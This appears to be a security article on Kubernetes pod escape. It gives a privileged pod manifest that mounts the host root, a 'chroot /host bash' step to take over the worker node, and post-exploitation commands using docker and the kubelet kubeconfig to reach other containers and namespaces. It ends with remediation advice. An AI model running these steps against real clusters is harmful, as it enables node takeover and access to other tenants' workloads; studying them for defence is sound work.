Pod Escape on Kubernetes

Introduction

Cloud computing has sparked a renewed interest in adopting Kubernetes among developers. One of the first companies to provide Kubernetes as a service, Amazon Web Services (AWS) offers it under the name EKS. EKS is a service for running Kubernetes on AWS. It enables you to run your deployment in multiple availability zones with managed infrastructure. You can integrate EKS with several existing AWS services, including IAM, CloudTrail, App Mesh, and Cloud Map. It is a pay-as-you-go service.

Pods are considered the smallest, most basic deployable objects in Kubernetes. A Pod represents a single instance of a running process in your cluster.

Furthermore, Pods contain one or more containers, such as Docker containers. When a Pod runs multiple containers, the containers are managed as a single entity and share the Pod’s resources. Generally, running multiple containers in a single Pod is an advanced use case. — Google (GKE)

Run privileged container inside a Pod from K8s UI

As we will show in this article, an attacker having initial access to a namespace with sufficient capabilities to run Pods can start a “privileged pod” with broad access to the Worker node “host” network, storage, and more.

The following YAML code should be entered as the definitions for a new pod after you log in and reach the page for creating new Pods:

apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

The above YAML code will build a new container running on ubuntu inside with the following permissions:

• Mounts the host’s filesystem inside /host
• Access the network interfaces on the host machine
• Access to host’s process ID
• Break the IPC level isolation between the container and the host

Following this, to launch an interactive shell from the mounted host filesystem, go to the “Exec” window on the pod’s page and enter the command below:

chroot /host bash

To learn more about how to take use of the privileges you’ve got and further attack the infrastructure, check out “Post Exploitation”.

Post-Exploitation

After completing the above steps, an attacker has access to the host machine, is able to list and access additional pods and namespaces with the help of the official Kubernetes command line tool “Kubectl,” and get complete access to any running container.

• List all the containers:

[root@host /]# docker ps

List the available containers

• Access running containers:

[root@host /]# docker exec -it ContainerID bash

Access to ArgoCD server container

• List other pods for all namespaces

Kubectl is the official Kubernetes command line tool that an attacker may use to learn more about the infrastructure and potentially obtain access to private information and resources.

[root@host /]# kubectl — kubeconfig /var/lib/kubelet/kubeconfig get pods --all-namespaces

List all Pods across all namespaces.

Remediation

Follow the Pod Security Standards at all times. In addition, to guarantee compliance with the Pod Security Standards, Kubernetes includes a Pod Security admission controller. Namespace-level security limitations are applied upon pod creation.

pod-security.kubernetes.io/<MODE>: <LEVEL>

Furthermore, system and application administrators frequently fail to adhere to the notion of “least privileges” when setting up their systems. The principle of least privilege states that if possible, a user who has been granted access to a system should be given only the rights necessary to carry out the precise tasks for which they were granted access.

Without adhering to this principle, bad actors (whether internal or external) can compromise the security of the shared infrastructure and steal information or commit destructive acts.

References:

Pod Security Admission

Bad Pods: Kubernetes Pod Privilege Escalation

Securing a Cluster